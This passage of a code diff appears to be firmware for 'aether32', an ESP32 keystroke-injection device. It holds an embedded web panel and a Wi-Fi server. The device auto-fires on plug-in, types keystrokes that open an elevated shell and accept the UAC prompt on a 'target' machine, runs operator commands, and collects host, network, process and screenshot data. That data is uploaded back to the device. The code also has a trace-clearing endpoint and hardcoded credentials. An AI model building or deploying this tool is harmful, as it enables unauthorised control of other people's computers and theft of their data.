<div class="tgrid" style="grid-template-columns:repeat(auto-fill,minmax(130px,1fr))">
<button class="tb" onclick="trick('flush_dns')">Flush DNS</button>
<button class="tb" onclick="trick('devmgmt')">Device Manager</button>
<button class="tb" onclick="trick('diskmgmt')">Disk Management</button>
<button class="tb" onclick="trick('clear_temp')">Clear Temp Folder</button>
</div>
</div>
<div class="card">
<div class="card-title">Advanced Scan (optional)</div>
<div class="tgrid" style="grid-template-columns:repeat(auto-fill,minmax(120px,1fr))">
<button class="tb" onclick="collect('profile_auto')">Auto Detect OS</button>
<button class="tb" onclick="collect('profile_windows')">Windows only</button>
<button class="tb" onclick="collect('screenshot')">Screenshot only</button>
<button class="tb" onclick="collect('network')">IP config only</button>
<button class="tb" onclick="collect('sysinfo')">System info</button>
</div>
</div>
<div class="card">
<div class="card-title">Download to Phone</div>
<div class="frow">
<button class="btn btn-p" onclick="downloadBundle()">&#11015; Download Lab Report (.txt)</button>
<button class="btn btn-s" onclick="downloadFile('screen.png')">&#11015; Screenshot (.png)</button>
</div>
<p class="hint">Report filename includes hostname when known: <code style="color:#64748b">labscan_HOSTNAME.txt</code></p>
</div>
<div class="card">
<div class="card-title" style="display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:8px">
<span>Collected Files</span>
<button class="btn btn-s btn-sm" onclick="loadResults();pollCollectStatus()" style="padding:5px 12px;font-size:.72rem;border-radius:6px">&#8635; Refresh</button>
</div>
<div id="results-list" style="margin-bottom:12px"><p class="empty" style="padding:16px 0">No results yet. Run Full Profile above.</p></div>
<div id="results-viewer" style="display:none">
<div style="display:flex;align-items:center;justify-content:space-between;margin-bottom:8px;flex-wrap:wrap;gap:8px">
<span id="results-filename" style="font-family:monospace;font-size:.8rem;color:#a78bfa"></span>
<div style="display:flex;gap:6px">
<button class="btn btn-p" id="results-dl-btn" onclick="downloadCurrentFile()" style="padding:4px 10px;font-size:.72rem;border-radius:6px">&#11015; Download</button>
<button class="btn btn-s" onclick="document.getElementById('results-viewer').style.display='none'" style="padding:4px 10px;font-size:.72rem;border-radius:6px">&#10005; Close</button>
</div>
</div>
<img id="results-image" style="display:none;max-width:100%;border-radius:8px;border:1px solid rgba(255,255,255,.1)" alt="screenshot">
<pre id="results-content" style="max-height:50vh;overflow-y:auto;white-space:pre-wrap;word-break:break-all"></pre>
</div>
</div>
</div>
<!-- TAB: AUTO-RUN -->
<div id="tab-autorun" class="tab">
<div id="ar-status-card" class="card" style="border-color:rgba(100,116,139,.3)">
<div style="display:flex;align-items:center;gap:14px">
<div id="ar-dot" style="width:14px;height:14px;border-radius:50%;background:#475569;flex-shrink:0;transition:.3s"></div>
<div>
<div id="ar-status-txt" style="font-size:1.05rem;font-weight:800;color:#e2e8f0">AUTO-RUN: OFF</div>
<div id="ar-status-sub" style="font-size:.78rem;color:#475569;margin-top:2px">Plug in &#8594; nothing happens</div>
</div>
</div>
</div>
<div class="card">
<div class="card-title">Configuration</div>
<form id="ar-form" onsubmit="saveConfig(event)">
<div style="display:flex;align-items:center;gap:14px;padding:12px;background:rgba(0,0,0,.25);border-radius:10px;margin-bottom:14px">
<label class="toggle">
<input type="checkbox" name="enabled" id="ar-enabled" value="1" onchange="previewAr(this.checked)">
<span class="slider"></span>
</label>
<div>
<div style="font-size:.98rem;font-weight:700;color:#e2e8f0">Enable Auto-Run</div>
<div style="font-size:.76rem;color:#64748b">Fires automatically after USB plug-in delay</div>
</div>
</div>
<div style="display:flex;align-items:center;gap:14px;padding:12px;background:rgba(0,0,0,.25);border-radius:10px;margin-bottom:14px">
<label class="toggle">
<input type="checkbox" name="lab_scan_on_plug" id="ar-lab-scan" value="1">
<span class="slider"></span>
</label>
<div>
<div style="font-size:.98rem;font-weight:700;color:#e2e8f0">Lab Scan on plug-in</div>
<div style="font-size:.76rem;color:#64748b">After the plug-in delay, run Lab Scan (Windows profile) automatically</div>
</div>
</div>
<div class="card-title">Delay After Plug-In</div>
<div style="margin-bottom:14px">
<div style="display:flex;align-items:center;gap:12px;margin-bottom:5px">
<input type="range" name="delay" id="ar-delay" min="500" max="12000" step="500" value="3500"
oninput="document.getElementById('ar-dval').textContent=(this.value/1000).toFixed(1)+'s'"
style="flex:1;accent-color:#7c3aed;height:4px;cursor:pointer;background:rgba(255,255,255,.1);border:none;padding:0">
<span id="ar-dval" style="min-width:38px;font-weight:700;color:#a78bfa;font-size:.95rem;text-align:right">3.5s</span>
</div>
<p class="hint">Time to wait after USB enumerates before firing. Increase for machines that are slow to show the desktop (5-7s is safe). Decrease if the target is already logged in and idle.</p>
</div>
<div class="card-title">Shell to Open on Target</div>
<div class="frow" style="margin-bottom:14px">
<select name="shell" id="ar-shell" style="flex:1">
<option value="elevated">Elevated CMD (UAC prompt &#8594; admin shell)</option>
<option value="cmd">Regular CMD</option>
<option value="powershell">PowerShell</option>
<option value="run">Win+R dialog only</option>
</select>
</div>
<div class="card-title">Command to Run After Shell Opens <span style="color:#475569;text-transform:none;font-weight:400">(optional)</span></div>
<textarea name="cmd" id="ar-cmd" placeholder="Leave empty to just pop the shell window.&#10;&#10;Or add any command to run immediately after the shell opens, e.g.:&#10; whoami&#10; ipconfig /all&#10; hostname"></textarea>
<p class="hint" style="margin-bottom:14px">The shell opens first, then this command is typed. Leave blank to just drop a terminal window on the target.</p>
<button type="submit" class="btn btn-p" style="width:100%;padding:13px">Save Auto-Run Config</button>
</form>
</div>
<div class="card" style="border-color:rgba(100,116,139,.2)">
<div class="card-title">How It Works</div>
<div style="font-size:.82rem;color:#64748b;line-height:1.7">
<div>1. Plug ESP32 into target machine</div>
<div>2. Windows enumerates USB HID keyboard (~instant if driver cached)</div>
<div>3. Wait the configured delay for desktop to be ready</div>
<div>4. ESP32 types keystrokes: Win+R &#8594; shell command &#8594; UAC accept &#8594; optional command</div>
<div style="margin-top:8px;color:#475569">LED turns <span style="color:#f97316">orange</span> on USB connect, <span style="color:#ef4444">red</span> while firing, <span style="color:#10b981">green</span> when done.</div>
</div>
</div>
</div>
<div class="toast" id="toast"></div>
<script>
var COLORS=['#7c3aed','#0369a1','#047857','#b45309','#be185d','#4f46e5','#0e7490','#a16207','#7f1d1d','#1e3a5f'];
var btns=[];
var selColor=0;
// Build color picker
(function(){
var cr=document.getElementById('color-row');
for(var i=0;i<COLORS.length;i++){
var s=document.createElement('div');
s.className='cs'+(i===0?' active':'');
s.style.background=COLORS[i];
s.dataset.i=i;
s.onclick=function(){
document.querySelectorAll('.cs').forEach(function(x){x.classList.remove('active');});
this.classList.add('active');
selColor=parseInt(this.dataset.i);
};
cr.appendChild(s);
}
// hidden color input
var hi=document.createElement('input');
hi.type='hidden';hi.name='color';hi.id='color-input';hi.value='0';
cr.appendChild(hi);
})();
document.getElementById('color-row').addEventListener('click',function(){
document.getElementById('color-input').value=selColor;
});
function esc(s){return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;');}
var toastT;
function toast(m,t){
var el=document.getElementById('toast');
el.textContent=m;el.className='toast show '+(t||'ok');
clearTimeout(toastT);
toastT=setTimeout(function(){el.classList.remove('show');},2600);
}
function setStatus(s){document.getElementById('stxt').textContent=s;}
async function postAction(url){
setStatus('Working...');
try{
var r=await fetch(url,{method:'POST'});
if(r.ok || r.redirected){toast('Action sent','ok');}
else{toast('Action failed','err');}
}catch(e){toast('Network error','err');}
setTimeout(function(){setStatus('Ready');},3500);
}
function showTab(n){
document.querySelectorAll('.tab').forEach(function(t){t.classList.remove('on');});
document.querySelectorAll('.nb').forEach(function(b){b.classList.remove('on');});
document.getElementById('tab-'+n).classList.add('on');
var nb=document.querySelector('[data-tab="'+n+'"]');
if(nb) nb.classList.add('on');
if(n==='saved'||n==='builder') loadButtons();
if(n==='autorun') loadConfig();
if(n==='collect'){ loadResults(); startCollectPolling(); }
else stopCollectPolling();
}
var statusPollTimer=null;
var statusApiAvailable=true;
var cachedProfileHost='';
var PHASE_LABELS={idle:'Idle',sending:'Sending keystrokes',waiting:'Waiting for uploads',complete:'Complete'};
function mapScanPhase(raw,uploading){
if(uploading) return 'waiting';
var p=(raw||'idle').toLowerCase();
if(p==='idle'||p==='') return 'idle';
if(p==='awaiting_uploads'||p==='waiting') return 'waiting';
if(p==='complete'||p==='done') return 'complete';
if(p==='lab_scan'||p==='lab_collect'||p==='profile'||p==='sending') return 'sending';
return 'sending';
}
function phaseToLabel(uiPhase){return PHASE_LABELS[uiPhase]||uiPhase||'Idle';}
function setCollectPhaseUI(uiPhase){
var pill=document.getElementById('collect-phase-pill');
var txt=document.getElementById('status-phase-txt');
var label=phaseToLabel(uiPhase);
if(txt) txt.textContent=label;
if(pill){
pill.textContent=label;
pill.className='phase-pill phase-'+(uiPhase||'idle');
}
}
function stopCollectPolling(){
if(statusPollTimer){clearInterval(statusPollTimer);statusPollTimer=null;}
}
function startCollectPolling(){
stopCollectPolling();
pollCollectStatus();
statusPollTimer=setInterval(pollCollectStatus,2000);
}
async function pollCollectStatus(){
if(statusApiAvailable){
try{
var r=await fetch('/api/status');
if(r.status===404){statusApiAvailable=false;}
else if(r.ok){
var s=await r.json();
var raw=s.scan_phase||s.phase||'idle';
var ui=mapScanPhase(raw,s.uploading);
if(raw==='awaiting_uploads'&&s.file_count>=4) ui='complete';
setCollectPhaseUI(ui);
document.getElementById('status-last-upload').textContent=s.last_upload||'';
document.getElementById('status-file-count').textContent=String(s.file_count!=null?s.file_count:0);
document.getElementById('status-os').textContent=s.os||'unknown';
var h=s.hostname||'';
document.getElementById('status-hostname').textContent=h;
if(h&&h!=='unknown'&&h!=='') cachedProfileHost=h;
return;
}
}catch(e){}
}
setCollectPhaseUI('idle');
try{
var pr=await fetch('/api/profile');
if(!pr.ok) return;
var p=await pr.json();
document.getElementById('status-os').textContent=p.os||'unknown';
var host=p.hostname&&p.hostname!=='unknown'?p.hostname:'';
document.getElementById('status-hostname').textContent=host;
if(host&&host!=='unknown'&&host!=='') cachedProfileHost=host.split(/\s/)[0];
var fc=(p.files&&p.files.length)||0;
document.getElementById('status-file-count').textContent=String(fc);
}catch(e){}
}
async function loadButtons(){
try{
var r=await fetch('/api/buttons');
btns=await r.json();
renderSaved();
renderManage();
}catch(e){toast('Load failed','err');}
}
function renderSaved(){
var g=document.getElementById('sbgrid');
if(!btns.length){
g.innerHTML='<p class="empty">No saved buttons yet.<br>Go to Builder tab to add some.</p>';
return;
}
var html=btns.map(function(b,i){
var col=COLORS[b.color!==undefined?b.color%COLORS.length:i%COLORS.length];
var prev=esc(b.shell)+' &middot; '+esc(b.cmd.length>38?b.cmd.substring(0,38)+'...':b.cmd);
return '<div class="sbc"><button class="sbc-run" style="background:linear-gradient(145deg,'+col+','+col+'bb)" onclick="runSaved('+i+')">'+esc(b.label)+'</button>'
+'<div class="sbc-preview">'+prev+'</div>'
+'<button class="sbc-del" onclick="delBtn('+i+')" title="Delete">&times;</button></div>';
}).join('');
// Add "+" tile at end
html+='<div class="add-shortcut" onclick="showTab(\'builder\')"><span>+</span><span>Add Button</span></div>';
g.innerHTML=html;
}
function renderManage(){
var el=document.getElementById('mlist');
if(!btns.length){el.innerHTML='<p class="empty">No buttons saved yet.</p>';return;}
el.innerHTML=btns.map(function(b,i){
return '<div class="mrow">'
+'<div class="mrow-info"><div class="mrow-label">'+esc(b.label)+'</div>'
+'<div class="mrow-cmd">'+esc(b.shell)+' &rarr; '+esc(b.cmd)+'</div></div>'
+'<button class="btn btn-d" style="padding:6px 11px;font-size:.75rem;flex-shrink:0" onclick="delBtn('+i+')">Delete</button>'
+'</div>';
}).join('');
}
async function runSaved(i){
var b=btns[i];
setStatus('Running: '+b.label+'...');
toast('Sending: '+b.label,'info');
var fd=new FormData();
fd.append('shell',b.shell);fd.append('cmd',b.cmd);fd.append('delay',b.delay);
try{
var r=await fetch('/run',{method:'POST',body:fd});
if(r.ok){toast('Sent: '+b.label,'ok');setStatus('Done');}
else{toast('Send failed','err');setStatus('Error');}
}catch(e){toast('Network error','err');}
setTimeout(function(){setStatus('Ready');},3500);
}
async function delBtn(i){
if(!confirm('Delete "'+btns[i].label+'"?')) return;
var fd=new FormData();fd.append('id',i);
try{
var r=await fetch('/api/buttons/delete',{method:'POST',body:fd});
if(r.ok){await loadButtons();toast('Deleted','ok');}
else toast('Delete failed','err');
}catch(e){toast('Error','err');}
}
async function addButton(e){
e.preventDefault();
var fd=new FormData(e.target);
// sync hidden color field
fd.set('color',selColor);
try{
var r=await fetch('/api/buttons',{method:'POST',body:fd});
if(r.ok){
e.target.reset();
selColor=0;
document.querySelectorAll('.cs').forEach(function(x,i){x.classList.toggle('active',i===0);});
toast('Button saved!','ok');
showTab('saved');
} else toast('Save failed','err');
}catch(e){toast('Error','err');}
}
async function trick(id){
setStatus('Trick: '+id);
var fd=new FormData();fd.append('id',id);
try{await fetch('/trick',{method:'POST',body:fd});toast(id,'ok');}catch(e){}
setTimeout(function(){setStatus('Ready');},3500);
}
async function runCmd(e){
e.preventDefault();
setStatus('Sending command...');
var fd=new FormData(e.target);
try{
var r=await fetch('/run',{method:'POST',body:fd});
if(r.ok) toast('Command sent','ok');
else toast('Failed','err');
}catch(e){toast('Error','err');}
setTimeout(function(){setStatus('Ready');},3500);
}
async function typeText(e){
e.preventDefault();
var fd=new FormData(e.target);
try{
var r=await fetch('/type',{method:'POST',body:fd});
if(r.ok) toast('Text typed','ok');
else toast('Failed','err');
}catch(e){toast('Error','err');}
}
async function loadConfig(){
try{
var r=await fetch('/api/config');
var c=await r.json();
document.getElementById('ar-enabled').checked=c.enabled;
document.getElementById('ar-delay').value=c.delay;
document.getElementById('ar-dval').textContent=(c.delay/1000).toFixed(1)+'s';
document.getElementById('ar-shell').value=c.shell;
document.getElementById('ar-cmd').value=c.cmd||'';
var ls=document.getElementById('ar-lab-scan');
if(ls) ls.checked=!!c.lab_scan_on_plug;
previewAr(c.enabled);
}catch(e){toast('Config load failed','err');}
}
async function saveConfig(e){
e.preventDefault();
var fd=new FormData(e.target);
if(!document.getElementById('ar-enabled').checked) fd.set('enabled','0');
else fd.set('enabled','1');
var ls=document.getElementById('ar-lab-scan');
fd.set('lab_scan_on_plug',ls&&ls.checked?'1':'0');
try{
var r=await fetch('/api/config',{method:'POST',body:fd});
if(r.ok){toast('Auto-run config saved!','ok');await loadConfig();}
else toast('Save failed','err');
}catch(e){toast('Error','err');}
}
function previewAr(on){
var dot=document.getElementById('ar-dot');
var badge=document.getElementById('ar-badge');
var card=document.getElementById('ar-status-card');
var nb=document.getElementById('ar-nav-btn');
if(on){
dot.style.background='#ef4444';
dot.style.boxShadow='0 0 12px #ef4444';
dot.style.animation='armpulse 1.4s infinite';
document.getElementById('ar-status-txt').textContent='AUTO-RUN: ARMED';
document.getElementById('ar-status-sub').textContent='Will fire on next plug-in after delay';
card.style.borderColor='rgba(239,68,68,.5)';
card.style.background='linear-gradient(135deg,rgba(239,68,68,.08),rgba(124,58,237,.04))';
if(badge) badge.style.display='inline-block';
if(nb) nb.style.color='#fca5a5';
} else {
dot.style.background='#475569';
dot.style.boxShadow='none';
dot.style.animation='none';
document.getElementById('ar-status-txt').textContent='AUTO-RUN: OFF';
document.getElementById('ar-status-sub').textContent='Plug in \u2192 nothing happens';
card.style.borderColor='rgba(100,116,139,.3)';
card.style.background='';
if(badge) badge.style.display='none';
if(nb) nb.style.color='';
}
}
function sanitizeHostname(h){
if(!h||h==='unknown') return 'unknown';
return String(h).replace(/[^\w.-]+/g,'_').replace(/_+/g,'_').replace(/^_|_$/g,'').substring(0,48)||'unknown';
}
async function postCollectTrick(trickId){
var fd=new FormData();fd.append('id',trickId);
return fetch('/trick',{method:'POST',body:fd});
}
async function labScan(){
setStatus('Lab Scan...');
setCollectPhaseUI('sending');
toast('Lab Scan started wait for uploads','info');
try{
var r=await postCollectTrick('collect_lab_scan');
if(!r.ok){
await postCollectTrick('collect_profile_auto');
toast('Retry: auto-detect profile','info');
}else{
toast('Lab Scan keystrokes sent','ok');
}
}catch(e){toast('Network error','err');}
setTimeout(function(){setStatus('Ready');pollCollectStatus();loadResults();},5000);
}
async function collect(id){
setStatus('Collecting: '+id+'...');
setCollectPhaseUI('sending');
toast('Scan started watch Live Status','info');
try{
var r=await postCollectTrick('collect_'+id);
if(r.ok) toast('Sent: '+id,'ok');
else toast('Failed','err');
}catch(e){toast('Error','err');}
setTimeout(function(){setStatus('Ready');pollCollectStatus();loadResults();},5000);
}
var currentResultFile='';
function triggerDownload(url,filename){
var a=document.createElement('a');
a.href=url;a.download=filename||'';a.style.display='none';
document.body.appendChild(a);a.click();document.body.removeChild(a);
}
async function downloadBundle(){
toast('Preparing report...','info');
var host='unknown';
try{
var r=await fetch('/api/profile');
if(r.ok){
var p=await r.json();
var raw=(p.hostname||cachedProfileHost||'unknown').split(/\s/)[0];
host=sanitizeHostname(raw);
}
}catch(e){
if(cachedProfileHost) host=sanitizeHostname(cachedProfileHost);
}
triggerDownload('/api/download/bundle','labscan_'+host+'.txt');
}
function downloadFile(name){
triggerDownload('/api/download?path='+encodeURIComponent('/results/'+name),name);
}
function downloadCurrentFile(){
if(currentResultFile) downloadFile(currentResultFile);
}
var resultsRefreshTimer=null;
async function loadResults(){
try{
var r=await fetch('/api/results');
var files=await r.json();
var el=document.getElementById('results-list');
if(!files.length){
el.innerHTML='<p class="empty" style="padding:16px 0">No results yet. Run Lab Scan, wait ~25s, then Refresh.</p>';
return;
}
var html='<div style="display:grid;grid-template-columns:repeat(auto-fill,minmax(160px,1fr));gap:8px">';
html+=files.map(function(f){
var kb=(f.size/1024).toFixed(1);
var isImg=f.name.endsWith('.png');
return '<div data-name="'+esc(f.name)+'" style="cursor:pointer;padding:10px;background:rgba(0,0,0,.3);border:1px solid rgba(255,255,255,.07);border-radius:8px;transition:.15s" onmouseover="this.style.borderColor=\'#7c3aed\'" onmouseout="this.style.borderColor=\'rgba(255,255,255,.07)\'">'
+'<div onclick="viewResult(\''+esc(f.name)+'\')" style="font-family:monospace;font-size:.78rem;color:#a78bfa;margin-bottom:4px">'+(isImg?'&#128247; ':'')+esc(f.name)+'</div>'
+'<div style="display:flex;justify-content:space-between;align-items:center">'
+'<span style="font-size:.68rem;color:#475569">'+kb+' KB</span>'
+'<button class="btn btn-s" onclick="event.stopPropagation();downloadFile(\''+esc(f.name)+'\')" style="padding:2px 8px;font-size:.65rem;border-radius:4px">&#11015;</button>'
+'</div></div>';
}).join('');
html+='</div>';
el.innerHTML=html;
}catch(e){toast('Could not load results','err');}
}
async function viewResult(name){
currentResultFile=name;
var imgEl=document.getElementById('results-image');
var preEl=document.getElementById('results-content');
document.getElementById('results-filename').textContent=name;
document.getElementById('results-viewer').style.display='block';
if(name.endsWith('.png')){
imgEl.src='/api/download?path='+encodeURIComponent('/results/'+name)+'&t='+Date.now();
imgEl.style.display='block';
preEl.style.display='none';
preEl.textContent='';
document.getElementById('results-viewer').scrollIntoView({behavior:'smooth'});
return;
}
imgEl.style.display='none';
preEl.style.display='block';
try{
var r=await fetch('/api/file?path=/results/'+encodeURIComponent(name));
if(!r.ok){toast('File not found','err');return;}
preEl.textContent=await r.text()||'(empty)';
document.getElementById('results-viewer').scrollIntoView({behavior:'smooth'});
}catch(e){toast('Load failed','err');}
}
loadButtons();
loadConfig();
</script>
</body></html>
)KILLA";
// Expose subpageCSS pointer so streamed subpages can reuse it.
const char *getSubpageCSS() { return subpageCSS; }

View File

@@ -0,0 +1,8 @@
#ifndef WEB_CONTENT_H
#define WEB_CONTENT_H
extern const char *rootViewHTML;
const char *getSubpageCSS();
#endif

View File

@@ -0,0 +1,495 @@
#include <Arduino.h>
#include <WiFi.h>
#include <LittleFS.h>
#include "web_content.h"
#include "exescript.h"
#include "tricks.h"
#include "button_store.h"
#include "config_store.h"
#include "flash_fs.h"
#include "upload_status.h"
#include "collector.h"
#include "wifi_server.h"
const char *ssid = "aether32";
const char *password = "aether32-admin";
static const char *http_user = "drjones";
static const char *http_pass = "aether32-admin";
WebServer server(80);
bool check_delay = false;
static const size_t MAX_UPLOAD_BYTES = 250000;
// ─── Helpers ────────────────────────────────────────────────────────────────
static void sendJson(int code, const String &body)
{
server.send(code, "application/json", body);
}
static bool requireAuth()
{
if (server.authenticate(http_user, http_pass))
return true;
server.requestAuthentication();
return false;
}
static bool isSafeResultName(const String &name)
{
if (name.length() == 0 || name.length() > 64)
return false;
if (name.indexOf('/') >= 0 || name.indexOf('\\') >= 0 || name.indexOf("..") >= 0)
return false;
return true;
}
static String jsonEscape(const String &s)
{
String out;
out.reserve(s.length() + 8);
for (size_t i = 0; i < s.length(); i++)
{
char c = s.charAt(i);
if (c == '\\') out += "\\\\";
else if (c == '"') out += "\\\"";
else if (c == '\n') out += "\\n";
else if (c == '\r') { /* skip */ }
else out += c;
}
return out;
}
static bool isAllowedShell(const String &shell)
{
return shell == "elevated" || shell == "cmd" || shell == "powershell" || shell == "run";
}
static bool isNumeric(const String &s)
{
if (s.length() == 0) return false;
for (size_t i = 0; i < s.length(); i++)
if (!isDigit(s.charAt(i))) return false;
return true;
}
static String readUploadBody()
{
if (server.hasArg("plain"))
return server.arg("plain");
WiFiClient client = server.client();
String body;
body.reserve(4096);
unsigned long start = millis();
while (client.connected() && body.length() < MAX_UPLOAD_BYTES && millis() - start < 8000)
{
while (client.available() && body.length() < MAX_UPLOAD_BYTES)
body += (char)client.read();
delay(1);
}
return body;
}
// ─── Root ────────────────────────────────────────────────────────────────────
void handleRootRequest()
{
if (!requireAuth()) return;
server.send(200, "text/html", rootViewHTML);
}
// ─── Restart / Clear ─────────────────────────────────────────────────────────
void handleRestartRequest()
{
if (!requireAuth()) return;
server.send(200, "text/plain", "restarting");
Keyboard.end();
delay(500);
ESP.restart();
}
void handleClearTraceRequest()
{
if (!requireAuth()) return;
server.sendHeader("Location", "/", true);
server.send(302, "text/plain", "");
clear_trace();
}
// ─── HID endpoints ───────────────────────────────────────────────────────────
void handleRunCommandRequest()
{
if (!requireAuth()) return;
if (!server.hasArg("cmd"))
{
sendJson(400, "{\"ok\":false,\"err\":\"missing cmd\"}");
return;
}
String cmd = server.arg("cmd");
String shell = server.hasArg("shell") ? server.arg("shell") : "run";
int del = server.hasArg("delay") ? server.arg("delay").toInt() : 15;
if (del < 5 || del > 200) del = 15;
if (!isAllowedShell(shell))
{
sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}");
return;
}
sendJson(200, "{\"ok\":true}");
trick_run_shell_command(cmd.c_str(), shell.c_str(), del);
}
void handleTypeTextRequest()
{
if (!requireAuth()) return;
if (!server.hasArg("text"))
{
sendJson(400, "{\"ok\":false,\"err\":\"missing text\"}");
return;
}
String text = server.arg("text");
int del = server.hasArg("delay") ? server.arg("delay").toInt() : 12;
bool enter = server.hasArg("enter");
bool notepad = server.hasArg("notepad");
if (del < 5 || del > 200) del = 12;
sendJson(200, "{\"ok\":true}");
trick_type_text(text.c_str(), del, enter, notepad);
}
void handleTrickRequest()
{
if (!requireAuth()) return;
if (!server.hasArg("id"))
{
sendJson(400, "{\"ok\":false,\"err\":\"missing id\"}");
return;
}
String id = server.arg("id");
sendJson(200, "{\"ok\":true}");
trick_dispatch(id.c_str());
}
// ─── Button API ─────────────────────────────────────────────────────────────
void handleGetButtonsApi()
{
if (!requireAuth()) return;
sendJson(200, buttons_to_json());
}
void handleAddButtonApi()
{
if (!requireAuth()) return;
String label = server.hasArg("label") ? server.arg("label") : "";
String shell = server.hasArg("shell") ? server.arg("shell") : "run";
String cmd = server.hasArg("cmd") ? server.arg("cmd") : "";
int delay = server.hasArg("delay") ? server.arg("delay").toInt() : 15;
label.trim(); cmd.trim();
if (label.length() == 0 || cmd.length() == 0)
{
sendJson(400, "{\"ok\":false,\"err\":\"label and cmd required\"}");
return;
}
if (!isAllowedShell(shell))
{
sendJson(400, "{\"ok\":false,\"err\":\"invalid shell\"}");
return;
}
bool ok = buttons_add(label.c_str(), shell.c_str(), delay, cmd.c_str());
sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"flash write failed\"}");
}
void handleDeleteButtonApi()
{
if (!requireAuth()) return;
if (!server.hasArg("id") || !isNumeric(server.arg("id")))
{
sendJson(400, "{\"ok\":false,\"err\":\"invalid index\"}");
return;
}
bool ok = buttons_delete(server.arg("id").toInt());
sendJson(ok ? 200 : 400, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"invalid index\"}");
}
// ─── Upload from target machine (no auth — local AP only) ────────────────────
void handleUploadRequest()
{
String name = server.hasArg("name") ? server.arg("name") : "";
if (!isSafeResultName(name))
{
sendJson(400, "{\"ok\":false,\"err\":\"bad name\"}");
return;
}
upload_status_set_uploading(true);
String body = readUploadBody();
if (body.length() == 0)
{
upload_status_set_uploading(false);
sendJson(400, "{\"ok\":false,\"err\":\"empty body\"}");
return;
}
bool ok = flash_fs_write_result(name.c_str(), (const uint8_t *)body.c_str(), body.length());
if (ok)
upload_status_on_upload(name.c_str());
else
upload_status_set_uploading(false);
sendJson(ok ? 200 : 500, ok ? "{\"ok\":true}" : "{\"ok\":false,\"err\":\"write failed\"}");
}
// ─── WiFi init ───────────────────────────────────────────────────────────────
void setup_WiFi()
{
WiFi.softAP(ssid, password);
delay(100);
buttons_load();
server.on("/", handleRootRequest);
server.on("/run", HTTP_POST, handleRunCommandRequest);
server.on("/type", HTTP_POST, handleTypeTextRequest);
server.on("/trick", HTTP_POST, handleTrickRequest);
server.on("/restart", HTTP_POST, handleRestartRequest);
server.on("/clear_trace", HTTP_POST, handleClearTraceRequest);
server.on("/api/buttons", HTTP_GET, handleGetButtonsApi);
server.on("/api/buttons", HTTP_POST, handleAddButtonApi);
server.on("/api/buttons/delete", HTTP_POST, handleDeleteButtonApi);
// Target machine uploads here over WiFi (no SD card)
server.on("/api/upload", HTTP_POST, handleUploadRequest);
server.on("/api/results", HTTP_GET, []() {
if (!requireAuth()) return;
File dir = LittleFS.open(RESULTS_DIR);
if (!dir || !dir.isDirectory())
{
sendJson(200, "[]");
return;
}
String json = "[";
bool first = true;
File entry = dir.openNextFile();
while (entry)
{
if (!entry.isDirectory())
{
if (!first) json += ",";
first = false;
String name = entry.name();
if (name.startsWith("/"))
name = name.substring(name.lastIndexOf('/') + 1);
name.replace("\"", "\\\"");
json += "{\"name\":\"" + name + "\",\"size\":" + String(entry.size()) + "}";
}
entry.close();
entry = dir.openNextFile();
}
dir.close();
json += "]";
sendJson(200, json);
});
server.on("/api/file", HTTP_GET, []() {
if (!requireAuth()) return;
if (!server.hasArg("path"))
{
server.send(400, "text/plain", "missing path");
return;
}
String path = server.arg("path");
if (!path.startsWith("/results/"))
{
server.send(403, "text/plain", "forbidden");
return;
}
String name = path.substring(9);
if (!isSafeResultName(name))
{
server.send(403, "text/plain", "forbidden");
return;
}
if (name.endsWith(".png"))
{
server.send(400, "text/plain", "use /api/download for images");
return;
}
String content = flash_fs_read_result(name.c_str());
if (content.length() == 0 && !flash_fs_result_exists(name.c_str()))
{
server.send(404, "text/plain", "not found");
return;
}
server.send(200, "text/plain; charset=utf-8", content);
});
server.on("/api/profile", HTTP_GET, []() {
if (!requireAuth()) return;
String os = flash_fs_read_result("os.txt", 64);
String host = flash_fs_read_result("hostname.txt", 256);
os.trim();
host.trim();
host.replace("\n", " / ");
String json = "{\"os\":\"" + jsonEscape(os.length() ? os : "unknown") +
"\",\"hostname\":\"" + jsonEscape(host.length() ? host : "unknown") +
"\",\"files\":[";
File dir = LittleFS.open(RESULTS_DIR);
bool first = true;
if (dir && dir.isDirectory())
{
File entry = dir.openNextFile();
while (entry)
{
if (!entry.isDirectory())
{
if (!first) json += ",";
first = false;
String name = entry.name();
if (name.startsWith("/"))
name = name.substring(name.lastIndexOf('/') + 1);
name.replace("\"", "\\\"");
json += "{\"name\":\"" + name + "\",\"size\":" + String(entry.size()) + "}";
}
entry.close();
entry = dir.openNextFile();
}
dir.close();
}
json += "]}";
sendJson(200, json);
});
server.on("/api/status", HTTP_GET, []() {
if (!requireAuth()) return;
sendJson(200, upload_status_json());
});
server.on("/api/download", HTTP_GET, []() {
if (!requireAuth()) return;
if (!server.hasArg("path"))
{
server.send(400, "text/plain", "missing path");
return;
}
String path = server.arg("path");
if (!path.startsWith("/results/"))
{
server.send(403, "text/plain", "forbidden");
return;
}
String name = path.substring(9);
if (!isSafeResultName(name))
{
server.send(403, "text/plain", "forbidden");
return;
}
String fpath = String(RESULTS_DIR) + "/" + name;
File f = LittleFS.open(fpath, "r");
if (!f)
{
server.send(404, "text/plain", "not found");
return;
}
String ctype = "application/octet-stream";
if (name.endsWith(".txt")) ctype = "text/plain; charset=utf-8";
else if (name.endsWith(".png")) ctype = "image/png";
server.sendHeader("Content-Disposition", "attachment; filename=\"" + name + "\"");
server.streamFile(f, ctype);
f.close();
});
server.on("/api/download/bundle", HTTP_GET, []() {
if (!requireAuth()) return;
server.setContentLength(CONTENT_LENGTH_UNKNOWN);
server.sendHeader("Content-Disposition", "attachment; filename=\"machine_profile.txt\"");
server.send(200, "text/plain; charset=utf-8", "");
server.sendContent("========================================\r\n");
server.sendContent(" AETHER32 MACHINE PROFILE\r\n");
server.sendContent(" (stored on device flash)\r\n");
server.sendContent("========================================\r\n\r\n");
static const char *order[] = {
"os.txt", "hostname.txt", "collected_at.txt",
"network_macs.txt", "network_full.txt", "arp.txt",
"routes.txt", "netstat.txt", "sysinfo.txt", "processes.txt"
};
for (size_t i = 0; i < sizeof(order) / sizeof(order[0]); i++)
{
String content = flash_fs_read_result(order[i]);
if (content.length() == 0) continue;
server.sendContent("\r\n--- ");
server.sendContent(order[i]);
server.sendContent(" ---\r\n");
server.sendContent(content);
}
